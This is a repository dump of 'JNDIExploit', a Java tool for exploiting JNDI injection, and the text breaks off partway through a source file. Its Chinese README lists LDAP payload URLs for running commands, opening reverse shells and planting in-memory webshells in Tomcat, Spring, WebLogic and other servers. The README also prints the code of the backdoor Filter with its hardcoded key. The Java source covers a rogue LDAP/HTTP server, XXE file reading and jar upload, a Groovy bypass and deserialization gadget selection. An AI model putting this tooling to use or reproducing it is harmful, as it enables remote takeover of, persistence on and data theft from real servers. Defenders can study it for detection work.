Repository: zzwlpx/JNDIExploit Branch: master Commit: 7aa2b5f8ab74 Files: 60 Total size: 34.9 MB Directory structure: gitextract_idkl6mhj/ ├── .gitignore ├── .idea/ │ ├── .gitignore │ ├── compiler.xml │ ├── encodings.xml │ ├── libraries/ │ │ ├── weblogic.xml │ │ └── webserviceclient.xml │ ├── misc.xml │ ├── uiDesigner.xml │ └── vcs.xml ├── JNDIExploit.iml ├── README.md ├── lib/ │ ├── weblogic.jar │ └── webserviceclient.jar ├── pom.xml └── src/ ├── main/ │ └── java/ │ └── com/ │ └── feihong/ │ └── ldap/ │ ├── HTTPServer.java │ ├── LdapServer.java │ ├── Starter.java │ ├── controllers/ │ │ ├── BasicController.java │ │ ├── GroovyBypassController.java │ │ ├── LdapController.java │ │ ├── LdapMapping.java │ │ ├── PropertiesRefAddr.java │ │ ├── SerializedDataController.java │ │ ├── TomcatBypassController.java │ │ └── WebsphereBypassController.java │ ├── enumtypes/ │ │ ├── GadgetType.java │ │ ├── MemShellType.java │ │ ├── PayloadType.java │ │ └── WebsphereActionType.java │ ├── exceptions/ │ │ ├── IncorrectParamsException.java │ │ ├── UnSupportedActionTypeException.java │ │ ├── UnSupportedGadgetTypeException.java │ │ └── UnSupportedPayloadTypeException.java │ ├── gadgets/ │ │ ├── C3P0.java │ │ ├── CommonsBeanutils1.java │ │ ├── CommonsCollections1.java │ │ ├── CommonsCollections2.java │ │ ├── Jre8u20.java │ │ ├── URLDNS.java │ │ └── utils/ │ │ ├── ClassFiles.java │ │ ├── Gadgets.java │ │ ├── Reflections.java │ │ └── Util.java │ ├── template/ │ │ ├── CommandTemplate.java │ │ ├── DnslogTemplate.java │ │ ├── DynamicFilterTemplate.java │ │ ├── JBossMemshellTemplate.java │ │ ├── JettyMemshellTemplate.java │ │ ├── MyClassLoader.java │ │ ├── ReverseShellTemplate.java │ │ ├── SpringMemshellTemplate.java │ │ ├── Template.java │ │ ├── TomcatMemshellTemplate.java │ │ ├── WeblogicMemshellTemplate.java │ │ └── WebsphereMemshellTemplate.java │ └── utils/ │ ├── Cache.java │ ├── Config.java │ └── Util.java └── test/ └── java/ ├── TestBase64.java └── TestProgram.java ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ /target/ ================================================ FILE: .idea/.gitignore ================================================ # Default ignored files /workspace.xml ================================================ FILE: .idea/compiler.xml ================================================ ================================================ FILE: .idea/encodings.xml ================================================ ================================================ FILE: .idea/libraries/weblogic.xml ================================================ ================================================ FILE: .idea/libraries/webserviceclient.xml ================================================ ================================================ FILE: .idea/misc.xml ================================================ ================================================ FILE: .idea/uiDesigner.xml ================================================ ================================================ FILE: .idea/vcs.xml ================================================ ================================================ FILE: JNDIExploit.iml ================================================ ================================================ FILE: README.md ================================================ # JNDIExploit 一款用于 ```JNDI注入``` 利用的工具,大量参考/引用了 ```Rogue JNDI``` 项目的代码,支持直接```植入内存shell```,并集成了常见的```bypass 高版本JDK```的方式,适用于与自动化工具配合使用。 ## 使用说明 使用 ```java -jar JNDIExploit.jar -h``` 查看参数说明,其中 ```--ip``` 参数为必选参数 ``` Usage: java -jar JNDIExploit.jar [options] Options: * -i, --ip Local ip address -l, --ldapPort Ldap bind port (default: 1389) -p, --httpPort Http bind port (default: 8080) -u, --usage Show usage (default: false) -h, --help Show this help ``` 使用 ```java -jar JNDIExploit.jar -u``` 查看支持的 LDAP 格式 ``` Supported LADP Queries * all words are case INSENSITIVE when send to ldap server [+] Basic Queries: ldap://127.0.0.1:1389/Basic/[PayloadType]/[Params], e.g. ldap://127.0.0.1:1389/Basic/Dnslog/[domain] ldap://127.0.0.1:1389/Basic/Command/[cmd] ldap://127.0.0.1:1389/Basic/Command/Base64/[base64_encoded_cmd] ldap://127.0.0.1:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supported ldap://127.0.0.1:1389/Basic/TomcatMemshell ldap://127.0.0.1:1389/Basic/JettyMemshell ldap://127.0.0.1:1389/Basic/WeblogicMemshell ldap://127.0.0.1:1389/Basic/JBossMemshell ldap://127.0.0.1:1389/Basic/WebsphereMemshell ldap://127.0.0.1:1389/Basic/SpringMemshell [+] Deserialize Queries: ldap://127.0.0.1:1389/Deserialize/[GadgetType]/[PayloadType]/[Params], e.g. ldap://127.0.0.1:1389/Deserialize/URLDNS/[domain] ldap://127.0.0.1:1389/Deserialize/CommonsCollections1/Dnslog/[domain] ldap://127.0.0.1:1389/Deserialize/CommonsCollections2/Command/[cmd] ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils1/Command/Base64/[base64_encoded_cmd] ldap://127.0.0.1:1389/Deserialize/C3P0/ReverseShell/[ip]/[port] ---windows NOT supported ldap://127.0.0.1:1389/Deserialize/Jre8u20/TomcatMemshell ---ALSO support other memshells [+] TomcatBypass Queries ldap://127.0.0.1:1389/TomcatBypass/Dnslog/[domain] ldap://127.0.0.1:1389/TomcatBypass/Command/[cmd] ldap://127.0.0.1:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd] ldap://127.0.0.1:1389/TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supported ldap://127.0.0.1:1389/TomcatBypass/TomcatMemshell ldap://127.0.0.1:1389/TomcatBypass/SpringMemshell [+] GroovyBypass Queries ldap://127.0.0.1:1389/GroovyBypass/Command/[cmd] ldap://127.0.0.1:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd] [+] WebsphereBypass Queries ldap://127.0.0.1:1389/WebsphereBypass/List/file=[file or directory] ldap://127.0.0.1:1389/WebsphereBypass/Upload/Dnslog/[domain] ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/[cmd] ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd] ldap://127.0.0.1:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supported ldap://127.0.0.1:1389/WebsphereBypass/Upload/WebsphereMemshell ldap://127.0.0.1:1389/WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp ``` * 目前支持的所有 ```PayloadType``` 为 * ```Dnslog```: 用于产生一个```DNS```请求,与 ```DNSLog```平台配合使用,对```Linux/Windows```进行了简单的适配 * ```Command```: 用于执行命令,如果命令有特殊字符,支持对命令进行 ```Base64编码```后传输 * ```ReverseShell```: 用于 ```Linux``` 系统的反弹shell,方便使用 * ```TomcatMemshell```: 用于植入```Tomcat内存shell```, 支持```Behinder shell``` 与 ```Basic cmd shell``` * ```SpringMemshell```: 用于植入```Spring内存shell```, 支持```Behinder shell``` 与 ```Basic cmd shell``` * ```WeblogicMemshell```: 用于植入```Weblogic内存shell```, 支持```Behinder shell``` 与 ```Basic cmd shell``` * ```JettyMemshell```: 用于植入```Jetty内存shell```, 支持```Behinder shell``` 与 ```Basic cmd shell``` * ```JBossMemshell```: 用于植入```JBoss内存shell```, 支持```Behinder shell``` 与 ```Basic cmd shell``` * ```WebsphereMemshell```: 用于植入```Websphere内存shell```, 支持```Behinder shell``` 与 ```Basic cmd shell``` * 目前支持的所有 ```GadgetType``` 为 * ```URLDNS``` * ```CommonsBeanutis1``` * ```CommonsCollections1``` * ```CommonsCollections2``` * ```C3P0``` * ```Jre8u20``` * ```WebsphereBypass``` 中的 3 个动作: * ```list```:基于```XXE```查看目标服务器上的目录或文件内容 * ```upload```:基于```XXE```的```jar协议```将恶意```jar包```上传至目标服务器的临时目录 * ```rce```:加载已上传至目标服务器临时目录的```jar包```,从而达到远程代码执行的效果(这一步本地未复现成功,抛```java.lang.IllegalStateException: For application client runtime, the client factory execute on a managed server thread is not allowed.```异常,有复现成功的小伙伴麻烦指导下) ## ```内存shell```说明 * 采用动态添加 ```Filter/Controller```的方式,并将添加的```Filter```移动至```FilterChain```的第一位 * ```内存shell``` 的兼容性测试结果请参考 [memshell](https://github.com/feihong-cs/memShell) 项目 * ```Basic cmd shell``` 的访问方式为 ```/anything?type=basic&pass=[cmd]``` * ```Behinder shell``` 的访问方式需要修改```冰蝎```客户端(请参考 [冰蝎改造之适配基于tomcat Filter的无文件webshell](https://mp.weixin.qq.com/s/n1wrjep4FVtBkOxLouAYfQ) 的方式二自行修改),并在访问时需要添加 ```X-Options-Ai``` 头部,密码为```rebeyond``` 植入的 Filter 代码如下: ``` public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("[+] Dynamic Filter says hello"); String k; Cipher cipher; if (servletRequest.getParameter("type") != null && servletRequest.getParameter("type").equals("basic")) { k = servletRequest.getParameter("pass"); if (k != null && !k.isEmpty()) { cipher = null; String[] cmds; if (File.separator.equals("/")) { cmds = new String[]{"/bin/sh", "-c", k}; } else { cmds = new String[]{"cmd", "/C", k}; } String result = (new Scanner(Runtime.getRuntime().exec(cmds).getInputStream())).useDelimiter("\\A").next(); servletResponse.getWriter().println(result); } } else if (((HttpServletRequest)servletRequest).getHeader("X-Options-Ai") != null) { try { if (((HttpServletRequest)servletRequest).getMethod().equals("POST")) { k = "e45e329feb5d925b"; ((HttpServletRequest)servletRequest).getSession().setAttribute("u", k); cipher = Cipher.getInstance("AES"); cipher.init(2, new SecretKeySpec((((HttpServletRequest)servletRequest).getSession().getAttribute("u") + "").getBytes(), "AES")); byte[] evilClassBytes = cipher.doFinal((new BASE64Decoder()).decodeBuffer(servletRequest.getReader().readLine())); Class evilClass = (Class)this.myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke((Object)null, evilClassBytes, Thread.currentThread().getContextClassLoader()); Object evilObject = evilClass.newInstance(); Method targetMethod = evilClass.getDeclaredMethod("equals", ServletRequest.class, ServletResponse.class); targetMethod.invoke(evilObject, servletRequest, servletResponse); } } catch (Exception var10) { var10.printStackTrace(); } } else { filterChain.doFilter(servletRequest, servletResponse); } } ``` ## 参考 * https://github.com/veracode-research/rogue-jndi * https://github.com/welk1n/JNDI-Injection-Exploit * https://github.com/welk1n/JNDI-Injection-Bypass ================================================ FILE: lib/weblogic.jar ================================================ [File too large to display: 34.7 MB] ================================================ FILE: pom.xml ================================================ 4.0.0 org.example JNDIExploit 1.0-SNAPSHOT org.apache.maven.plugins maven-compiler-plugin 3.8.0 6 6 ${project.basedir}/lib maven-assembly-plugin false jar-with-dependencies com.feihong.ldap.Starter make-assembly package assembly true UTF-8 1.6 1.6 3.2.3.RELEASE org.springframework spring-core ${spring.version} org.springframework spring-beans ${spring.version} org.springframework spring-web ${spring.version} org.springframework spring-oxm ${spring.version} org.springframework spring-tx ${spring.version} org.springframework spring-jdbc ${spring.version} org.springframework spring-webmvc ${spring.version} org.springframework spring-aop ${spring.version} org.springframework spring-context-support ${spring.version} org.springframework spring-test ${spring.version} junit junit 4.11 test javax.servlet javax.servlet-api 4.0.1 com.mchange c3p0 0.9.5.5 commons-beanutils commons-beanutils 1.9.2 commons-collections commons-collections 3.1 org.apache.commons commons-collections4 4.0 org.apache.tomcat.embed tomcat-embed-core 8.5.58 org.ow2.asm asm 8.0.1 com.unboundid unboundid-ldapsdk 4.0.9 com.nqzero permit-reflect 0.3 net.jodah expiringmap 0.5.9 org.reflections reflections 0.9.10 io.undertow undertow-core 2.2.2.Final io.undertow undertow-servlet 2.2.2.Final org.jboss.spec.javax.security.jacc jboss-jacc-api_1.4_spec 1.0.3.Final com.beust jcommander 1.78 org.codehaus.groovy groovy 2.4.5 org.apache.commons commons-text 1.8 ================================================ FILE: src/main/java/com/feihong/ldap/HTTPServer.java ================================================ package com.feihong.ldap; import com.feihong.ldap.template.CommandTemplate; import com.feihong.ldap.template.DnslogTemplate; import com.feihong.ldap.template.ReverseShellTemplate; import com.feihong.ldap.utils.Cache; import com.feihong.ldap.utils.Config; import com.feihong.ldap.utils.Util; import com.sun.net.httpserver.HttpExchange; import com.sun.net.httpserver.HttpHandler; import com.sun.net.httpserver.HttpServer; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.lang3.reflect.FieldUtils; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.net.InetSocketAddress; import java.util.*; import java.util.jar.JarOutputStream; import java.util.zip.ZipEntry; public class HTTPServer { public static void start() throws IOException { HttpServer httpServer = HttpServer.create(new InetSocketAddress(Config.httpPort), 0); httpServer.createContext("/", new HttpHandler() { public void handle(HttpExchange httpExchange){ try { System.out.println("[+] New HTTP Request From " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI()); String path = httpExchange.getRequestURI().getPath(); if(path.endsWith(".class")){ handleClassRequest(httpExchange); }else if(path.endsWith(".wsdl")){ handleWSDLRequest(httpExchange); }else if(path.endsWith(".jar")){ handleJarRequest(httpExchange); }else if(path.startsWith("/xxelog")){ handleXXELogRequest(httpExchange); }else{ httpExchange.sendResponseHeaders(404, 0); httpExchange.close(); System.out.println("[!] Response Code: " + 404); } } catch (Exception e) { e.printStackTrace(); } } }); httpServer.setExecutor(null); httpServer.start(); System.out.println("[+] HTTP Server Start Listening on " + Config.httpPort + "..."); } public static void handleXXELogRequest(HttpExchange exchange) throws IllegalAccessException, IOException { Object exchangeImpl = FieldUtils.readField(exchange, "impl", true); Object request = FieldUtils.readField(exchangeImpl, "req", true); String startLine = (String) FieldUtils.readField(request, "startLine", true); // System.out.println("[\u001B[31]mxxe attack result: " + startLine + "\u001B[0m"); System.out.println("[+] XXE Attack Result: " + startLine); exchange.sendResponseHeaders(200, 0); exchange.close(); } private static void handleJarRequest(HttpExchange exchange) throws IOException{ String path = exchange.getRequestURI().getPath(); String jarName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); if(Cache.contains(jarName)){ System.out.println("[+] Response Code: " + 200); byte[] bytes = Cache.get(jarName); exchange.sendResponseHeaders(200, bytes.length + 1); exchange.getResponseBody().write(bytes); System.out.println("[+] Stalling connection for 60 seconds"); try{ Thread.sleep(60000); }catch (InterruptedException e){ e.printStackTrace(); } System.out.println("[+] Release stalling..."); }else{ System.out.println("[!] Response Code: " + 404); exchange.sendResponseHeaders(404, 0); } exchange.close(); } private static void handleClassRequest(HttpExchange exchange) throws IOException{ String path = exchange.getRequestURI().getPath(); String className = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); System.out.println("[+] Receive ClassRequest: " + className + ".class"); if(Cache.contains(className)){ System.out.println("[+] Response Code: " + 200); byte[] bytes = Cache.get(className); exchange.sendResponseHeaders(200, bytes.length); exchange.getResponseBody().write(bytes); }else{ System.out.println("[!] Response Code: " + 404); exchange.sendResponseHeaders(404, 0); } exchange.close(); } private static void handleWSDLRequest(HttpExchange exchange) throws Exception { String query = exchange.getRequestURI().getQuery(); Map params = parseQuery(query); String path = exchange.getRequestURI().getPath().substring(1); if(path.startsWith("list")) { //intended to list directories or read files on server String file = params.get("file"); if (file != null && !file.isEmpty()) { String listWsdl = "" + "\n" + " \n" + " %bbb;\n" + "]>\n" + "\n" + " &ddd;\n" + ""; System.out.println("[+] Response Code: " + 200); exchange.sendResponseHeaders(200, listWsdl.getBytes().length); exchange.getResponseBody().write(listWsdl.getBytes()); } else { System.out.println("[!] Missing or wrong argument"); System.out.println("[!] Response Code: " + 404); exchange.sendResponseHeaders(404, 0); } exchange.close(); }else if(path.startsWith("upload")) { String type = params.get("type"); String[] args = null; if (type.equalsIgnoreCase("command")) { args = new String[]{params.get("cmd")}; } else if (type.equalsIgnoreCase("dnslog")) { args = new String[]{params.get("url")}; } else if (type.equalsIgnoreCase("reverseshell")) { args = new String[]{params.get("ip"), params.get("port")}; } String jarName = createJar(type, args); if (jarName != null) { String uploadWsdl = ""; System.out.println("[+] Response Code: " + 200); exchange.sendResponseHeaders(200, uploadWsdl.getBytes().length); exchange.getResponseBody().write(uploadWsdl.getBytes()); } else { System.out.println("[!] Missing or wrong argument"); System.out.println("[!] Response Code: " + 404); exchange.sendResponseHeaders(404, 0); } exchange.close(); }else if(path.startsWith("http")) { String xxhttp = "'>'>%ccc;"; System.out.println("[+] Response Code: " + 200); exchange.sendResponseHeaders(200, xxhttp.getBytes().length); exchange.getResponseBody().write(xxhttp.getBytes()); exchange.close(); }else{ System.out.println("[!] Response Code: " + 404); exchange.sendResponseHeaders(404, 0); exchange.close(); } } private static Map parseQuery(String query){ Map params = new HashMap(); try{ for(String str : query.split("&")){ try{ String[] parts = str.split("=",2); params.put(parts[0], parts[1]); }catch(Exception e){ //continue } } }catch(Exception e){ //continue } return params; } /* 由于我本地安装的 Websphere 在加载本地 classpath 这一步复现不成功 这里不确定 websphere 这种方式在多次操作时 Class 文件名相同时是否会存在问题 目前暂时认为其不会有问题,如果有问题,后面再修改 */ private static String createJar(String type, String... params) throws Exception { byte[] bytes = new byte[0]; String className = "xExportObject"; if (type.toLowerCase().equals("command")) { CommandTemplate commandTemplate = new CommandTemplate(params[0], "xExportObject"); bytes = commandTemplate.getBytes(); } else if (type.toLowerCase().equals("dnslog")){ DnslogTemplate dnslogTemplate = new DnslogTemplate(params[0], "xExportObject"); bytes = dnslogTemplate.getBytes(); } else if (type.toLowerCase().equals("reverseshell")) { ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(params[0], params[1], "xExportObject"); bytes = reverseShellTemplate.getBytes(); } else if (type.toLowerCase().equals("webspherememshell")) { ClassPool classPool = ClassPool.getDefault(); CtClass exploitClass = classPool.get("com.feihong.ldap.template.WebsphereMemshellTemplate"); exploitClass.setName(className); exploitClass.detach(); bytes = exploitClass.toBytecode(); }else{ return null; } System.out.println("[+] Name of Class in Jar: " + className); ByteArrayOutputStream bout = new ByteArrayOutputStream(); JarOutputStream jarOut = new JarOutputStream(bout); jarOut.putNextEntry(new ZipEntry(className + ".class")); jarOut.write(bytes); jarOut.closeEntry(); jarOut.close(); bout.close(); String jarName = Util.getRandomString(); Cache.set(jarName, bout.toByteArray()); return jarName; } } ================================================ FILE: src/main/java/com/feihong/ldap/LdapServer.java ================================================ package com.feihong.ldap; import com.feihong.ldap.controllers.LdapController; import com.feihong.ldap.controllers.LdapMapping; import com.feihong.ldap.utils.Config; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import org.reflections.Reflections; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.lang.reflect.Constructor; import java.net.InetAddress; import java.util.Set; import java.util.TreeMap; public class LdapServer extends InMemoryOperationInterceptor { TreeMap routes = new TreeMap(); public static void start() { try { InMemoryDirectoryServerConfig serverConfig = new InMemoryDirectoryServerConfig("dc=example,dc=com"); serverConfig.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), Config.ldapPort, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); serverConfig.addInMemoryOperationInterceptor(new LdapServer()); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(serverConfig); ds.startListening(); System.out.println("[+] LDAP Server Start Listening on " + Config.ldapPort + "..."); } catch ( Exception e ) { e.printStackTrace(); } } public LdapServer() throws Exception { //find all classes annotated with @LdapMapping Set> controllers = new Reflections(this.getClass().getPackage().getName()) .getTypesAnnotatedWith(LdapMapping.class); //instantiate them and store in the routes map for(Class controller : controllers) { Constructor cons = controller.getConstructor(); LdapController instance = (LdapController) cons.newInstance(); String[] mappings = controller.getAnnotation(LdapMapping.class).uri(); for(String mapping : mappings) { if(mapping.startsWith("/")) mapping = mapping.substring(1); //remove first forward slash routes.put(mapping, instance); } } } /** * {@inheritDoc} * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) */ @Override public void processSearchResult(InMemoryInterceptedSearchResult result) { String base = result.getRequest().getBaseDN(); System.out.println("[+] Received LDAP Query: " + base); LdapController controller = null; //find controller for(String key: routes.keySet()) { //compare using wildcard at the end if(base.toLowerCase().startsWith(key)) { controller = routes.get(key); break; } } if(controller == null){ System.out.println("[!] Invalid LDAP Query: " + base); return; } try { controller.process(base); controller.sendResult(result, base); } catch (Exception e1) { System.out.println("[!] Exception: " + e1.getMessage()); } } } ================================================ FILE: src/main/java/com/feihong/ldap/Starter.java ================================================ package com.feihong.ldap; import com.feihong.ldap.utils.Config; import java.io.IOException; public class Starter { public static void main(String[] args) throws IOException { Config.applyCmdArgs(args); LdapServer.start(); HTTPServer.start(); } } ================================================ FILE: src/main/java/com/feihong/ldap/controllers/BasicController.java ================================================ package com.feihong.ldap.controllers; import com.feihong.ldap.enumtypes.MemShellType; import com.feihong.ldap.enumtypes.PayloadType; import com.feihong.ldap.exceptions.IncorrectParamsException; import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; import com.feihong.ldap.utils.*; import com.feihong.ldap.template.CommandTemplate; import com.feihong.ldap.template.DnslogTemplate; import com.feihong.ldap.template.ReverseShellTemplate; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import java.net.URL; @LdapMapping(uri = { "/basic" }) public class BasicController implements LdapController { //最后的反斜杠不能少 private String codebase = Config.codeBase; private PayloadType type; private String[] params; @Override public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { System.out.println("[+] Sending LDAP ResourceRef result for " + base + " with basic remote reference payload"); //这个方法里面有改动,其他基本无改动 Entry e = new Entry(base); String className = ""; switch (type){ case dnslog: DnslogTemplate dnslogTemplate = new DnslogTemplate(params[0]); dnslogTemplate.cache(); className = dnslogTemplate.getClassName(); break; case command: CommandTemplate commandTemplate = new CommandTemplate(params[0]); commandTemplate.cache(); className = commandTemplate.getClassName(); break; case reverseshell: ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(params[0], params[1]); reverseShellTemplate.cache(); className = reverseShellTemplate.getClassName(); break; case tomcatmemshell: className = MemShellType.TOMCAT; break; case jettymemshell: className = MemShellType.JETTY; break; case jbossmemshell: className = MemShellType.JBOSS; break; case weblogicmemshell: className = MemShellType.WEBLOGIC; break; case webspherememshell: className = MemShellType.WEBSPHERE; break; case springmemshell: className = MemShellType.SPRING; break; } URL turl = new URL(new URL(this.codebase), className + ".class"); System.out.println("[+] Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); e.addAttribute("javaCodeBase", this.codebase); e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ e.addAttribute("javaFactory", className); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } @Override public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { try{ int fistIndex = base.indexOf("/"); int secondIndex = base.indexOf("/", fistIndex + 1); if(secondIndex < 0) secondIndex = base.length(); try{ type = PayloadType.valueOf(base.substring(fistIndex + 1, secondIndex).toLowerCase()); System.out.println("[+] Paylaod: " + type); }catch(IllegalArgumentException e){ throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(fistIndex + 1, secondIndex)); } switch(type){ case dnslog: String url = base.substring(base.lastIndexOf("/") + 1); System.out.println("[+] URL: " + url); params = new String[]{url}; break; case command: String cmd = Util.getCmdFromBase(base); System.out.println("[+] Command: " + cmd); params = new String[]{cmd}; break; case reverseshell: String[] results = Util.getIPAndPortFromBase(base); System.out.println("[+] IP: " + results[0]); System.out.println("[+] Port: " + results[1]); params = results; break; } }catch(Exception e){ if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e; throw new IncorrectParamsException("Incorrect params: " + base); } } } ================================================ FILE: src/main/java/com/feihong/ldap/controllers/GroovyBypassController.java ================================================ package com.feihong.ldap.controllers; import com.feihong.ldap.enumtypes.PayloadType; import com.feihong.ldap.exceptions.IncorrectParamsException; import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; import com.feihong.ldap.utils.*; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import org.apache.naming.ResourceRef; import javax.naming.StringRefAddr; /* * Requires: * - Tomcat and Groovy in classpath * * @author https://twitter.com/orange_8361 and https://github.com/welk1n * * Groovy 语法参考: * - https://xz.aliyun.com/t/8231#toc-7 * - https://my.oschina.net/jjyuangu/blog/1815945 * - https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails */ @LdapMapping(uri = { "/groovybypass" }) public class GroovyBypassController implements LdapController { private PayloadType type; private String[] params; private String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" + " ['cmd','/C', '${cmd}'].execute();\n" + " } else {\n" + " ['/bin/sh','-c', '${cmd}'].execute();\n" + " }"; @Override public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { System.out.println("[+] Sending LDAP ResourceRef result for " + base + " with groovy.lang.GroovyShell payload"); Entry e = new Entry(base); e.addAttribute("javaClassName", "java.lang.String"); //could be any //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString", "x=evaluate")); System.out.println("[+] Returen script: "); System.out.println("-----------------------------------------------"); System.out.println(template.replace("${cmd}", params[0]).replace("${cmd}", params[0])); System.out.println("-----------------------------------------------"); ref.add(new StringRefAddr("x", template.replace("${cmd}", params[0]).replace("${cmd}", params[0]))); e.addAttribute("javaSerializedData", Util.serialize(ref)); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } @Override public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { try{ int firstIndex = base.indexOf("/"); int secondIndex = base.indexOf("/", firstIndex + 1); if(secondIndex < 0) secondIndex = base.length(); //因为我对 grovvy 的语法完全不懂,所以目前只支持执行命令这一种形式的 PayloadType String payloadType = base.substring(firstIndex + 1, secondIndex); if(payloadType.equalsIgnoreCase("command")){ type = PayloadType.valueOf("command"); System.out.println("[+] Paylaod: " + type); }else{ throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + payloadType); } String cmd = Util.getCmdFromBase(base); System.out.println("[+] Command: " + cmd); params = new String[]{cmd}; }catch(Exception e){ if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e; throw new IncorrectParamsException("Incorrect params: " + base); } } } ================================================ FILE: src/main/java/com/feihong/ldap/controllers/LdapController.java ================================================ package com.feihong.ldap.controllers; import com.feihong.ldap.exceptions.IncorrectParamsException; import com.feihong.ldap.exceptions.UnSupportedActionTypeException; import com.feihong.ldap.exceptions.UnSupportedGadgetTypeException; import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; public interface LdapController { void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception; void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException; } ================================================ FILE: src/main/java/com/feihong/ldap/controllers/LdapMapping.java ================================================ package com.feihong.ldap.controllers; import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target; @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.TYPE) public @interface LdapMapping { String[] uri(); } ================================================ FILE: src/main/java/com/feihong/ldap/controllers/PropertiesRefAddr.java ================================================ package com.ibm.websphere.client.factory.jdbc; import javax.naming.RefAddr; import java.util.Properties; //this is a stub class required by WebSphere2 ldap handler public class PropertiesRefAddr extends RefAddr { private static final long serialVersionUID = 288055886942232156L; private Properties props; public PropertiesRefAddr(String addrType, Properties props) { super(addrType); this.props = props; } public Object getContent() { return this.props; } } ================================================ FILE: src/main/java/com/feihong/ldap/controllers/SerializedDataController.java ================================================ package com.feihong.ldap.controllers; import com.feihong.ldap.enumtypes.GadgetType; import com.feihong.ldap.enumtypes.PayloadType; import com.feihong.ldap.exceptions.IncorrectParamsException; import com.feihong.ldap.exceptions.UnSupportedGadgetTypeException; import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; import com.feihong.ldap.utils.*; import com.feihong.ldap.gadgets.*; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; @LdapMapping(uri = { "/deserialize" }) public class SerializedDataController implements LdapController { private GadgetType gadgetType; private PayloadType payloadType; private String[] params; @Override public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { System.out.println("[+] Send LDAP result for " + base + " with javaSerializedData attribute"); //这个方法里面有改动,其他基本无改动 Entry e = new Entry(base); byte[] bytes = null; switch (gadgetType){ case urldns: bytes = URLDNS.getBytes(params[0]); break; case commonsbeanutils1: bytes = CommonsBeanutils1.getBytes(payloadType, params); break; case commonscollections1: bytes = CommonsCollections1.getBytes(payloadType, params); break; case commonscollections2: bytes = CommonsCollections2.getBytes(payloadType, params); break; case jre8u20: bytes = Jre8u20.getBytes(payloadType, params); break; case c3p0: bytes = C3P0.getBytes(payloadType, params); break; } e.addAttribute("javaClassName", "foo"); e.addAttribute("javaSerializedData",bytes); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } @Override public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException { try{ int firstIndex = base.indexOf("/"); int 